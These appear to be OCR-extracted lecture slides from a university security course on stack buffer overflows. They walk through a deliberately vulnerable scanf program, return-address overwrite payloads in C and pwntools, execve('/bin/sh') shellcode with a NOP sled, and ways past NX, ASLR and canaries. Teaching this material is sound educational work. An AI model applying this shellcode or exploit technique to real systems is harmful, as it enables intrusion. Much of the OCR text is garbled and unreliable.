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History of BOF

o EternalBlue (ZK{EZIE)

«  Wrong struct with wrong size type lead to buffer overflow

« WannaCryBhZREAFIFRKIEZ IEERE: WHNAR/NTHMEEETHE. SSHUARENRUHISERRM, KB ANMBFIWEER, ZEE

FEX SIS RIS EEE

« Assigned as MS17-010

SMB_Parameters

SMB COM_NT TRANSACT

UCHAR WordCount;

( 'SMB_COM _TRANSACTIONZ2 SMB_Parameters

UCHAR WordCount; {

Words
{ Words
USHORT TotalParameterCount; {

IUSHORT TotalDataCount; I UCHAR
USHORT MaxParameterCount; USHORT
USHORT MaxDataCount; ULONG
UCHAR MaxSetupCount; | ULONG
UCHAR Reservedl; ULONG
HEIART P11 oo 111 NN

MaxSetupCount;
Reservedl;
TotalParameterCount;

TotalDataCount; I

MaxParameterCount;
MavRatalCnunt

http://www.hackdig.com/04/hack-45037.htm



History of BOF

 EternalBlue (Gk|EZT

]

- Apple 0-click RCE i0S 16.6.1 and iPadOS 16.6.1

© EBABERADOBIRAOS (166) gy " EIMRE

iPhoneFHl, HEXRITEEMEARE, ImagelO
Available for: iPhone 8 and later, iPad Pro (all models), iPad Air 3rd generation and later, iPad 5th
« WERTAREEBUFER I TIEARBIF. generation and later, and iPad mini 5th generation and later

Impact: Processing a maliciously crafted image may lead to arbitrary code execution. Apple is aware
of a report that this issue may have been actively exploited.

« Assigned as CVE-2023-41064

Description: A buffer overflow issue was addressed with improved memory handling.

CVE-2023-41064: The Citizen Lab at The University of Toronto’s Munk School

https://support.apple.com/en-us/HT213905



History of BOF

]

 EternalBlue (FkIBZT

« Apple O-click RCE

Announced September 12, 2023
Impact critical

Products Firefox 117.0.1, Firefox ESR 115.2.1, Firefox ESR 102.15.1, Thunderbird 102.15.1,

- libwebp RCE

Fixed in Firefox 117.0.1, Firefox ESR 115.2.1, Firefox ESR 102.15.1, Thunderbird 102.15.1,
and Thunderbird 115.2.2

. i Sy||ls s, SN s s .
Chrome, FirefoxSFlILaRAEXIAFERTIS CVE-2023-4863: Heap buffer overflow in libwebp
—Fiﬁl‘lﬂ%%zlmﬁﬂﬂﬁf«%’éﬂﬁ%“ﬁﬁgmﬁ I ;Fﬁ;lg.] Reporter Apple Security Engineering and Architecture (SEAR) and The Citizen Lab at

The University of Toronto's Munk School

Bt Telegram, ffmpeg, edgess,

Impact critical I
Description
. ASSig ned as CVE_2023_4863 Opening a malicious WebP image could lead to a heap buffer overflow in the content

process. We are aware of this issue being exploited in other products in the wild.

* Countless exam P les. . https://chromereleases.googleblog.com/2023/09/stable-channel-
update-for-desktop 11.html
https://www.mozilla.org/en-US/security/advisories/mfsa2023-40/




Review: Program Memory

int x = 10; // global variable stored in data segment

int y = 9; // uninitialized global variable stored in bss segment

int main() { (High address) S
// data on stack a,b, ptr — >
int a = 1; \
float b = 2; \

ptr points to

// allocate memory on heap the memory —r Heap
int *ptr = (int*)malloc(2 * sizeof(int)); here
ptr[0] = 1; y —” BSS segment
ptr[1] = 2; X — » Data segment
// deallocate memory (Low address) Text segment
free(ptr);
return 0; https://www.ics.uci.edu/~goodrich/teach/cs201P/notes/04_Buffer_Overflow.pdf




Type of BOF

« stack
 local variable

« easy to overwrite PC register
- data

« global variable

« overwrite important data/table
« heap

« dynamic variable

(High address)

ab,ptr ——*

ptr points to

Stack

the memory ¥
here

Heap

y

BSS segment

X ——»

Data segment

(Low address)

Text segment

« corrupt chunk to get arbitrary read/write

https://www.ics.uci.edu/~goodrich/teach/cs2
01P/notes/04_Buffer_Overflow.pdf




Stack-based Buffer Overflow

* When the data length is not verified or incorrectly verified, the data written to the buffer may

exceed the buffer length.

* attackers may hijack program control flow through buffer overflow, and combine techniques such as

shellcode or ROP to obtain the ability to execute arbitrary code.

Some vulnerable functions: A
. gets main()A9iR B i va_list 85t
. . BEAE
* read void maln() { main() buf[256)
. AL
. scant char bl:;F[%56], FREE A0 -
. strepy scanf("%s", buf); —ARE
} buf A9t

* memcpy scanf()  scanf() AY1R EIHE I
REEA



Vulnerable Program

##tinclude <stdio.h>

void win() {
puts("Excellent, now let's go hack the world");

¥

void vuln() {
char buf[16];
scanf("%s", buf);

}

int main() {
puts("Welcome back to 2023 CS315, let's have some fun!");
vuln();
puts("Have a good day, Bye~");
return 9;



Vulnerable Program

##tinclude <stdio.h>

void win() {
puts("Excellent, now let's go hack the world");

¥

void vuln() {
char buf[1l6];
scanf("%s", buf);

<—— Where will the input string be stored?

}

int main() {
puts("Welcome back to 2023 CS315, let's have some fun!");
vuln();
puts("Have a good day, Bye~");
return 9;



text stack data

main:

0x0804848d add esp,0x10
0x08048490 call  ©0x80484b2 <vuln>
0x08048495 sub esp,0xc

vuln:

0x080484b2 push ebp

0x080484b3 mov ebp,esp
0x080484b5 sub esp,0x18
0x080484b8 sub esp,ox8
0x080484bb lea eax, [ebp-0x18]

0x080484be push eax
0x080484bf push  0x80485cft ; "%s"

0x080484c4 call  ©x8048320 < 1iso0c99 scanf@plt>

0x080484c9 add
0x080484cc nop
0x080484cd leave
0x080484ce ret

esp,0x10

next instruction is “call 0x08484b2 <vuln>"
call function vuln() at 0x08484b2

ebp

esp

oxffffdod8

oxft7ffdo2e

oxffffdod4

oxffffdofo

Oxffffdoede

0Xx00000001

Oxffffdocc

oxffffdoc8

oxffffdoca

oxffffdoco

oxffffdobc

Oxffffdob8

Oxffffdob4a

Oxffffdobe

Oxffffdoac

Oxffffdoa8

oxffffdoasd

Oxffffdoao

oxffffdobc




text stack data
ce oxffffdod4 | exffffdofe
6x@804848d add  esp,0x16 OxFFFFdodo | 0x00000001
0x08048490 call 0x80484b2 <vuln>
ox08048495. sub esp.oxc esp Oxffffdocc | Ox08048495
<o Oxffffdoc8
vuln:
ffffdoc4a
Ox080484b2 push  ebp oxtiitdec
0x080484b3 mov ebp,esp oxffffdoce
0x080484b5 sub esp,0x18 oxFFFfdobc
0x080484b8 sub esp,ox8
Ox080484bb lea  eax,[ebp-0x18] Oxfittdebs
0x080484be push  eax oxffffdoba
0x080484bf push  0x80485cft ; "%s" oxfff£dobe
0x080484c4 call ©x8048320 < isoc99 scanf@plt> OxFFEEdo
0x080484c9 add  esp,0x10 X ac
0x080484cc nop Oxffffdoa8
0x080484cd leave oxFEFEd0al
0x080484ce ret
Oxffffdoao
return address is saved on stack after function call OxFFFfdobc

save current $ebp at stack

address



main:

0x0804848d
0x08048490
0x08048495
vuln:

0x080484b2
0x080484b3
0x080484b5
0x080484b8
0x080484bb
0x080484be
0x080484bf
0x080484c4
0x080484c9
0x080484cc

0x080484cd
0x080484ce

old $ebp is saved

add
call
sub

push
mov
sub
sub
lea
push
push
call
add
nop
leave
ret

text stack data

esp,0x10
0x80484b2 <vuln>
esp,Oxc

ebp

ebp,esp

esp,0x18

esp,0x8

eax, [ebp-0x18]

eax

0x80485cf ; "%s"

0x8048320 < 1s0c99 scanf@plt>
esp,0x10

now set new $ebp to $esp (new satck frame base)

ebp

esp

oxffffdod8

oxft7ffdo2e

oxffffdod4

oxffffdofo

Oxffffdoede

0Xx00000001

Oxffffdocc

0x08048495

oxffffdoc8

oxffffdod8

oxffffdoca

oxffffdoco

oxffffdobc

Oxffffdob8

Oxffffdob4a

Oxffffdobe

Oxffffdoac

Oxffffdoa8

oxffffdoasd

Oxffffdoao

oxffffdobc

saved
ebp



main:

0x0804848d
0x08048490
0x08048495
vuln:

0x080484b2
0x080484b3
0x080484b5
0x080484b8
0x080484bb
0x080484be
0x080484bf
0x080484c4
0x080484c9
0x080484cc

0x080484cd
0x080484ce

add
call
sub

push
mov
sub
sub
lea
push
push
call
add
nop
leave
ret

text stack data

esp,0x10
0x80484b2 <vuln>
esp,Oxc

ebp

ebp,esp

esp,0x18

esp,0x8

eax, [ebp-0x18]

eax

0x80485cf ; "%s"

0x8048320 < 1s0c99 scanf@plt>
esp,0x10

enter new stack frame, $ebp=3%esp
alloc 0x18 bytes memory for char buf[16];

spbp

oxffffdod8

oxft7ffdo2e

oxffffdod4

oxffffdofo

Oxffffdoede

0Xx00000001

Oxffffdocc

0x08048495

oxffffdoc8

oxffffdod8

oxffffdoca

oxffffdoco

oxffffdobc

Oxffffdob8

Oxffffdob4a

Oxffffdobe

Oxffffdoac

Oxffffdoa8

oxffffdoasd

Oxffffdoao

oxffffdobc

address



main:

0x0804848d
0x08048490
0x08048495
vuln:

0x080484b2
0x080484b3
0x080484b5
0x080484b8
0x080484bb
0x080484be
0x080484bf
0x080484c4
0x080484c9
0x080484cc

0x080484cd
0x080484ce

add
call
sub

push
mov
sub
sub
lea
push
push
call
add
nop
leave
ret

text stack data

esp,0x10
0x80484b2 <vuln>
esp,Oxc

ebp

ebp,esp

esp,0x18

esp,0x8

eax, [ebp-0x18]

eax

0x80485cf ; "%s"

0x8048320 < 1s0c99 scanf@plt>
esp,0x10

alloc 0x18 bytes memory
gcc want alloc another 0x8 bytes memory(we can ignore)

ebp

esp

oxffffdod8

oxft7ffdo2e

oxffffdod4

oxffffdofo

Oxffffdoede

0Xx00000001

Oxffffdocc

0x08048495

oxffffdoc8

oxffffdod8

oxffffdoca

oxffffdoco

oxffffdobc

Oxffffdob8

Oxffffdob4a

Oxffffdobe

Oxffffdoac

Oxffffdoa8

oxffffdoasd

Oxffffdoao

oxffffdobc

address

alloced
— space
for buf




main:

0x0804848d
0x08048490
0x08048495
vuln:

0x080484b2
0x080484b3
0x080484b5
0x080484b8
0x080484bb
0x080484be
0x080484bf
0x080484c4
0x080484c9
0x080484cc

0x080484cd
0x080484ce

add
call
sub

push
mov
sub
sub
lea
push
push
call
add
nop
leave
ret

text stack data

esp,0x10
0x80484b2 <vuln>
esp,Oxc

ebp

ebp,esp

esp,0x18

esp,0x8

eax, [ebp-0x18]

eax

0x80485cf ; "%s"

0x8048320 < 1s0c99 scanf@plt>
esp,0x10

gcc alloced extra 0x8 bytes memory
load address of buf to $eax

ebp

esp

oxffffdod8

oxft7ffdo2e

oxffffdod4

oxffffdofo

Oxffffdoede

0Xx00000001

Oxffffdocc

0x08048495

oxffffdoc8

oxffffdod8

oxffffdoca

oxffffdoco

oxffffdobc

Oxffffdob8

Oxffffdob4a

Oxffffdobe

Oxffffdoac

Oxffffdoa8

oxffffdoasd

oxffffdoao

Oxffffdobc

address

alloced
— space
for buf

buf
begin



main:

0x0804848d
0x08048490
0x08048495
vuln:

0x080484b2
0x080484b3
0x080484b5
0x080484b8
0x080484bb
0x080484be
0x080484bf
0x080484c4
0x080484c9
0x080484cc

0x080484cd
0x080484ce

add
call
sub

push
mov
sub
sub
lea
push
push
call
add
nop
leave
ret

text stack data

esp,0x10
0x80484b2 <vuln>
esp,Oxc

ebp

ebp,esp

esp,0x18

esp,0x8 B
eax, [ebp-0x18]
eax

0x80485cf ; "%s"
0x8048320 < 1s0c99 scanf@plt>
esp,0x10

oxffffdoc8
0x18
oxffffdobe

$eax stored address of buf as OxffffdOb0
push $eax to stack as second argument for scanf()

ebp

esp

oxffffdod8

oxft7ffdo2e

oxffffdod4

oxffffdofo

Oxffffdoede

0Xx00000001

Oxffffdocc

0x08048495

oxffffdoc8

oxffffdod8

oxffffdoca

oxffffdoco

oxffffdobc

Oxffffdob8

Oxffffdob4a

Oxffffdobe

Oxffffdoac

Oxffffdoa8

oxffffdoasd

oxffffdoao

Oxffffdobc

address

alloced
— space
for buf

buf
begin



main:

0x0804848d
0x08048490
0x08048495
vuln:

0x080484b2
0x080484b3
0x080484b5
0x080484b8
0x080484bb
0x080484be
0x080484bf
0x080484c4
0x080484c9
0x080484cc

0x080484cd
0x080484ce

add
call
sub

push
mov
sub
sub
lea
push
push
call
add
nop
leave
ret

text stack data

esp,0x10
0x80484b2 <vuln>
esp,Oxc

ebp

ebp,esp

esp,0x18

esp,0x8

eax, [ebp-0x18]

eax

ox80485cf ; "%s"

0x8048320 < 1s0c99 scanf@plt>
esp,0x10

buf address pushed to stack
push address of “%s” to stak as first argument of scanf()

ebp

esp

oxffffdod8

oxft7ffdo2e

oxffffdod4

oxffffdofo

Oxffffdoede

0Xx00000001

Oxffffdocc

0x08048495

oxffffdoc8

oxffffdod8

oxffffdoca

oxffffdoco

oxffffdobc

Oxffffdob8

Oxffffdob4a

Oxffffdobe

Oxffffdoac

Oxffffdoa8

oxffffdoasd

Oxffffdobe

Oxffffdoao

Oxffffdobc

address

alloced
— space
for buf

buf
begin

second



main:

0x0804848d
0x08048490
0x08048495
vuln:

0x080484b2
0x080484b3
0x080484b5
0x080484b8
0x080484bb
0x080484be
0x080484bf
0x080484c4
0x080484c9
0x080484cc

0x080484cd
0x080484ce

add
call
sub

push
mov
sub
sub
lea
push
push
call
add
nop
leave
ret

text stack data

esp,0x10
0x80484b2 <vuln>
esp,Oxc

ebp

ebp,esp

esp,0x18

esp,0x8

eax, [ebp-0x18]

eax

0x80485cf ; "%s"

0x8048320 < isoc99 scanf@plt>
esp,0x10

address of “%s” pushed to stack

call scanf(“%s”, buf);

ebp

esp

oxffffdod8

oxft7ffdo2e

oxffffdod4

oxffffdofo

Oxffffdoede

0Xx00000001

Oxffffdocc

0x08048495

oxffffdoc8

oxffffdod8

oxffffdoca

oxffffdoco

oxffffdobc

Oxffffdob8

Oxffffdob4a

Oxffffdobe

Oxffffdoac

Oxffffdoa8

oxffffdoasd

Oxffffdobe

Oxffffdoao

Ox080485cT

Oxffffdobc

address

alloced
— space
for buf

buf
begin

second

‘1.. arg
.first arg



main:

0x0804848d
0x08048490
0x08048495
vuln:

0x080484b2
0x080484b3
0x080484b5
0x080484b8
0x080484bb
0x080484be
0x080484bf
0x080484c4
0x080484c9
0x080484cc

0x080484cd
0x080484ce

text stack data
add esp,0x10
call ©x80484b2 <vuln>
sub esp,0xc
push ebp
mov ebp,esp
sub esp,0x18
sub esp,ox8
lea eax, [ebp-0x18]
push eax
push  0x80485cf ; "%s"
call ©x8048320 < 1s0c99 scanf@plt>
add esp,0x10
nop
leave
ret

return address of scanf saved in stack
read string from stdin

ebp

esp

oxffffdod8

oxft7ffdo2e

oxffffdod4

oxffffdofo

Oxffffdoede

0Xx00000001

Oxffffdocc

0x08048495

oxffffdoc8

oxffffdod8

oxffffdoca

oxffffdoco

oxffffdobc

Oxffffdob8

Oxffffdob4a

Oxffffdobe

Oxffffdoac

Oxffffdoa8

oxffffdoasd

Oxffffdobe

Oxffffdoao

Ox080485cT

oxffffdobc

[ 0x080484c9

address

alloced
— space
for buf

buf
begin

second

‘1.. arg
.first arg



main:

0x0804848d
0x08048490
0x08048495
vuln:

0x080484b2
0x080484b3
0x080484b5
0x080484b8
0x080484bb
0x080484be
0x080484bf
0x080484c4
0x080484c9
0x080484cc

0x080484cd
0x080484ce

input: A

text stack data
add esp,0x10
call ©x80484b2 <vuln>
sub esp, Oxc
push  ebp
mov ebp,esp
sub esp,0x18
sub esp,0x8
lea eax, [ebp-0x18]
push eax
push  0x80485cf ; "%s"
call ©x8048320 < 1s0c99 scanf@plt>
add esp,0x10
nop
leave
ret

note scanf() will add \x00 at end of string

ebp

esp

oxffffdod8

oxft7ffdo2e

oxffffdod4

oxffffdofo

Oxffffdoede

0Xx00000001

Oxffffdocc

0x08048495

oxffffdoc8

oxffffdod8

oxffffdoca

Oxf7fbeb6C

oxffffdoco

0x08048588

oxffffdobc

0x0804848d

Oxffffdob8

oxffffdods

Oxffffdob4a

Oxf7ffcb80

Oxffffdoebe

oxff{fee4l
¥

oxffffdoac

Oxf7fa3000

Oxffffdoa8

oxffffdlle

oxffffdoasd

Oxffffdobe

Oxffffdoao

Ox080485cT

oxffffdobc

0x080484c9

address

alloced
— space
for buf

« input



main:

0x0804848d
0x08048490
0x08048495
vuln:

0x080484b2
0x080484b3
0x080484b5
0x080484b8
0x080484bb
0x080484be
0x080484bf
0x080484c4
0x080484c9
0x080484cc

0x080484cd
0x080484ce

input:

text stack data
add esp,0x10
call ©x80484b2 <vuln>
sub esp, Oxc
push  ebp
mov ebp,esp
sub esp,0x18
sub esp,ox8
lea eax, [ebp-0x18]
push eax
push  0x80485cf ; "%s"
call ©x8048320 < 1s0c99 scanf@plt>
add esp,0x10
nop
leave
ret

AAAAAAAAAAAAAAAAAAA (A * 19)

ebp

esp

oxffffdod8

oxft7ffdo2e

oxffffdod4

oxffffdofo

Oxffffdoede

0Xx00000001

Oxffffdocc

0x08048495

oxffffdoc8

oxffffdod8

oxffffdoca

Oxf7fbeb6C

oxffffdoco

0x00414141

oxffffdobc

0x41414141

Oxffffdob8

0x41414141

Oxffffdob4a

0x41414141

OxFfffdobe

rox41414141

Oxffffdoac

Oxf7fa3000

L oxFfffdoas

oxffffdlle

oxffffdoasd

Oxffffdobe

Oxffffdoao

Ox080485cT

oxffffdobc

0x080484c9




main:

0x0804848d
0x08048490
0x08048495
vuln:

0x080484b2
0x080484b3
0x080484b5
0x080484b8
0x080484bb
0x080484be
0x080484bf
0x080484c4
0x080484c9
0x080484cc

0x080484cd
0x080484ce

input:

text stack data
add esp,0x10
call ©x80484b2 <vuln>
sub esp, Oxc
push  ebp
mov ebp,esp
sub esp,0x18
sub esp,ox8
lea eax, [ebp-0x18]
push eax
push  0x80485cf ; "%s"
call ©x8048320 < 1s0c99 scanf@plt>
add esp,0x10
nop
leave
ret

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

(A * 32)

ebp

esp

oxffffdod8

oxft7ffdo2e

oxffffdod4

oxffffdofo

Oxffffdoede

0x00000000

Oxffffdocc

0x41414141

oxffffdoc8

0x41414141

oxffffdoca

0x41414141

oxffffdoco

0x41414141

oxffffdobc

0x41414141

Oxffffdob8

0x41414141

Oxffffdob4a

0x41414141

Oxffffdebe

rox41414141

Oxff Pac

Oxf7fa3000

| oxffffdoas

oxffffdlle

oxffffdoasd

Oxffffdobe

Oxffffdoao

Ox080485cT

oxffffdobc

0x080484c9




main:

0x0804848d
0x08048490
0x08048495
vuln:

0x080484b2
0x080484b3
0x080484b5
0x080484b8
0x080484bb
0x080484be
0x080484bf
0x080484c4
0x080484c9
0x080484cc

0x080484cd
0x080484ce

add
call
sub

push
mov
sub
sub
lea
push
push
call
add
nop
leave
ret

text stack data

esp,0x10
0x80484b2 <vuln>
esp,Oxc

ebp

ebp,esp

esp,0x18

esp,0x8

eax, [ebp-0x18]

eax

0x80485cf ; "%s"

0x8048320 < 1s0c99 scanf@plt>
esp,0x10

read too many bytes into buf
dealloc 0x10 stack memory (we can ignore it)

ebp

esp

oxffffdod8

oxft7ffdo2e

oxffffdod4

oxffffdofo

Oxffffdoede

0x00000000

Oxffffdocc

0x41414141

oxffffdoc8

0x41414141

oxffffdoca

0x41414141

oxffffdoco

0x41414141

oxffffdobc

0x41414141

Oxffffdob8

0x41414141

Oxffffdob4a

0x41414141

Oxffffdoebe

0x41414141

Oxffffdoac

Oxffffdoa8

oxffffdoasd

Oxffffdobe

Oxffffdoao

Ox080485cT

oxffffdobc

address



main:

0x0804848d
0x08048490
0x08048495
vuln:

0x080484b2
0x080484b3
0x080484b5
0x080484b8
0x080484bb
0x080484be
0x080484bf
0x080484c4
0x080484c9
0x080484cc

0x080484cd
0x080484ce

add
call
sub

push
mov
sub
sub
lea
push
push
call
add
nop
leave
ret

do nothing

text stack data

esp,0x10
0x80484b2 <vuln>
esp,Oxc

ebp

ebp,esp

esp,0x18

esp,0x8

eax, [ebp-0x18]

eax

0x80485cf ; "%s"

0x8048320 < 1s0c99 scanf@plt>
esp,0x10

ebp

esp

oxffffdod8

oxft7ffdo2e

oxffffdod4

oxffffdofo

Oxffffdoede

0x00000000

Oxffffdocc

0x41414141

oxffffdoc8

0x41414141

oxffffdoca

0x41414141

oxffffdoco

0x41414141

oxffffdobc

0x41414141

Oxffffdob8

0x41414141

Oxffffdob4a

0x41414141

Oxffffdoebe

0x41414141

Oxffffdoac

Oxffffdoa8

oxffffdoasd

Oxffffdoao

oxffffdobc

address



main:

0x0804848d
0x08048490
0x08048495
vuln:

0x080484b2
0x080484b3
0x080484b5
0x080484b8
0x080484bb
0x080484be
0x080484bf
0x080484c4
0x080484c9
0x080484cc

0x080484cd
0x080484ce

add
call
sub

push
mov
sub
sub
lea
push
push
call
add
nop

leave— | mov

ret

text stack data

esp,0x10
0x80484b2 <vuln>
esp,Oxc

ebp

ebp

ebp,esp

esp,0x18

esp,0x8

eax, [ebp-0x18]

eax

0x80485cf ; "%s"

0x8048320 < 1s0c99 scanf@plt>
esp,0x10

esp

esp, ebp

pop ebp

leave current stack frame and back to previous function’s stack frame

oxffffdod8

oxft7ffdo2e

oxffffdod4

oxffffdofo

Oxffffdoede

0x00000000

Oxffffdocc

0x41414141

oxffffdoc8

0x41414141

oxffffdoca

0x41414141

oxffffdoco

0x41414141

oxffffdobc

0x41414141

Oxffffdob8

0x41414141

Oxffffdob4a

0x41414141

Oxffffdoebe

0x41414141

Oxffffdoac

Oxffffdoa8

oxffffdoasd

Oxffffdoao

oxffffdobc

address



main:

0x0804848d
0x08048490
0x08048495
vuln:

0x080484b2
0x080484b3
0x080484b5
0x080484b8
0x080484bb
0x080484be
0x080484bf
0x080484c4
0x080484c9
0x080484cc

0x080484cd
0x080484ce

text stack data

add esp,0x10
call Ox80484b2 <vuln>
sub esp,0xc esp
push ebp
mov ebp,esp
sub esp,0x18
sub esp,ox8
lea eax, [ebp-0x18]
push eax
push  0x80485cf ; "%s"
call ©x8048320 < 1is0c99 scanf@plt>
add esp,0x10
nop AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
leave _ _ _

Program received signal SIGSEGV, Segmentation fault.
ret \\\\\\\* in

eip ; (pc)

pPop
get return address from stack and set $pc,
now we can reach anywhere we want

oxffffdod8

oxft7ffdo2e

oxffffdod4

oxffffdofo

Oxffffdoede

0Xx00000000

Oxffffdocc

0x41414141

oxffffdoc8

oxffffdoca

oxffffdoco

Oxffffdebc

Oxffffdob8

Oxffffdob4a

Oxffffdoebe

Oxffffdoac

Oxffffdoa8

oxffffdoasd

Oxffffdoao

oxffffdebc

address



##include <stdio.h>

void win() { // at 6x08648456
puts("Excellent, now let's go hack the world");

¥

void vuln() {
char buf[16];
scanf("%s", buf);

}

int main() {
puts("Welcome back to 2023 CS315, let's have some fun!");
vuln();
puts("Have a good day, Bye~");
return 0;



#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(){
const char* buffer = "AAAA [??] AAA\X56\x84\x04\x08\n";

C demo
File *payload;
payload = fopen("payload", "w+");
fwrite(buffer, sizeof(buffer), 1, payload);
fclose(payload);
: S ./bof < payload
Welcome back to 2023 (CS315, let's have some fun!
£ = open("payload”, "wb") Excellent, now let's go hack the world
Python demo S fowrite(b"A"* [2?] + b"\x56\x84\x04\x08" + b"\n") Segmentation fault (core dumped)
f.close() . $
o
from pwn import * ((GS\
c©
'

Python demo (2)

p = process("./bof")
p.sendline(b"A"* [??] + p32(0x08048456))
p.interactive()




Shellcode

#include <stdio.h>

int main( ) { : S checksec
#include <stdio.h> char *name[2]; [ 1 '/home/frank/Desktop/bof’
! - name[0] = "/bin/sh"; . 3 .
#include <stdlib.h> name[1] = NULL; Arch: 1386-32-little
#include <string.h> execve (name[0], name, NULL); RELRO:
} Stack:

const char shellcode[] = \ NX:
"\x31\xce" \ PIE:
"\x50" \ .
"\x68""//sh" \
"\x68""/bin" \
"\x89\xe3" \
"\x50" \
"\x53" \
"\x89\xel" \
"\x99" \
"\xbo\xeb" \
':\xcd\xse" \ int main() {
’ int (*func)();
int main(){ func = (int (*)()) shellcode;

char buffer[512]; (int) (*func)();

memset(buffer, 0x90, sizeof(buffer));

memcpy (buffer + ???, shellcode, sizeof(shellcode));

buff[2??] = ???

File *payload;

payload = fopen("payload"”, "w+");
fwrite(buffer, sizeof(buffer), 1, payload);
fclose(payload);



Inject Shellcode

main:

0x0804848d
0x08048490
0x08048495
vuln:

0x080484b2
0x080484b3
0x080484b5
0x080484b8
0x080484bb
0x080484be
0x080484bf
0x080484c4
0x080484c9
0x080484cc

0x080484cd
0x080484ce

add
call
sub

push
mov
sub
sub
lea
push
push
call
add
nop
leave
ret

esp,0x10
0x80484b2 <vuln>
esp, 0Oxc

ebp

ebp

ebp,esp

esp,ox18

esp,ox8

eax, [ebp-0x18]

eax

0x80485cf ; "%s"

Ox8048320 < isoc99 scanf@plt>
esp,0x10

esp

Oxffff....

0x41414141

. shell

. code

oxffffdodo

0x90909090

Oxffffdocc

oxffffdede

oxffffdoc8

0x41414141

oxffffdoca

0x41414141

Oxffffdoco

0x41414141

Oxffffdobc

0x41414141

Oxffffdob8

0x41414141

Oxffffdoba

0x41414141

Oxffffdoebe

0x41414141

Oxffffdoac

Oxffffdoa8

oxffffdoasd

Oxffffdoao

oxffffdobc




Recall NX/DEP countermeasure

Marks memory regions as non-executable

 Remove executable flag (x) i.e. rwx -> rw-

Implemented by OS

Hardware support(fast)
$gcc —z execstack shellcode.c

$ /a.out
EEEEETEEEEETEEE oo
stack memory marked as not executable

$gcc -z noexecstack shellcode.c
| $ /a.out
Defeat NX: Segmentation fault (core dumped)

talk in last slide (ROP and data-only)



Protection:
Address Space Layout Randomization

ASLR will randomize base address of memory segment (.text, .bss, stack...) to prevent attackers

from obtaining important code or data addresses.

Support by OS and compiler:

ASLR: stack, (latest)heap

PIC + ASLR: .text, .data, .bss

Defeat ASLR:

leak address from may places

EGEND:

0x555555554000

0x555555556000
0x555555557000

ox7ffff7d83000

ox7ffff7f40000
ox7ffff7f98000

ox7ffff7fbdooo
ox7ffff7fc3000

ox7ffff7fefooo
ox7ffff7ffbooo

overwrite LSB of address (4kb align)

| RWX

0x555555555000

0x555555557000 r--
0x555555558000 r--

RODATA

|
r--p 1000

1000
1000

ox7ffff7dabeeo r--

Ox7ffff7f98000 r--
Ox7ffff7f9ce00 r--

Ox7ffff7fc1000 r--

Ox7ffff7fc5000 r--

Ox7ffff7ffaeoo r--
ox7ffff7ffdoeeo r--

ASLR(OFF)

LEGEND:

0x55865170b00O

0x55865170d060
0x55865170e000

0x7f204d747000

0x7f204d904000
0x7f204d95c000

0x7f204d981000

0x7f204d9adoee
0x7f204d9b9000

0x7ffcad38a000

| RWX | RODATA

0x55865170c000 r--

0x55865170e000 r--
r-

0x55865170f000

0x7f204d76f000 r--

0x7f204d95c000 r--
0x7f204d960000 r--

0x71204d983000 r--
0x7f204d9b800O r--
Ox7f204d9bb00O r--

Ox7ffcad38e000 r--

ASLR(ON)

p

P

-P

1000 ©

1000 2000
1000 2000

28000 O

58000 1bdoo®
4000 214000

2000 0

beee 2co00
2000 37000




Protection:

Canary/Cookie Protection

(Canary/Cookie) can detect stack buffer overflow vulnerability when

attacker overwrites the function return address in the stack frame
Insert by compiler

Defeat Canary:

* Overwriting the Canary with the same value ;:;pg
e — Brute force attack (e.g., DynaGuard in ACSAC'15)
scanf()

VAR

main()f93% [2 #b ik

secret cookie

buf[256]

verflow

main()#Y1R @ b 31k
main() I
buf[256] [ R it
buf gtk

scanf() 91k [E13h 3



Summary:

Buffer overflow is a common vulnerability.

« We focus on stack-based buffer overflow for now

We can hijack control flow by exploiting stack overflow

Three common protection

We will use shellcode to exploit stack overflow and execute arbitrary

code in lab exercise and try to defend against our exploitation



Preview:
Format String Vulnerability

« happens when first argument of printf() is controlled by user

« attacker use special format string to leak important

information (e.g. ASLR base)

1int main(){

- may lead arbitrary memory write 2" char buf[2561;

3 scanf("%255s", buf);
4 printf(buf);
5}

B 1. R e iR R R



Defeat the NX countermeasure

* Return-oriented programming (ROP)

can be Turing complete

not inject malicious instructions

uses instruction sequences(gadgets) already present in executable memory

exploit by manipulating return addresses

* control registers:

0x804850a Oxdeadbeef 0x1337c0de

* Data only exploitation



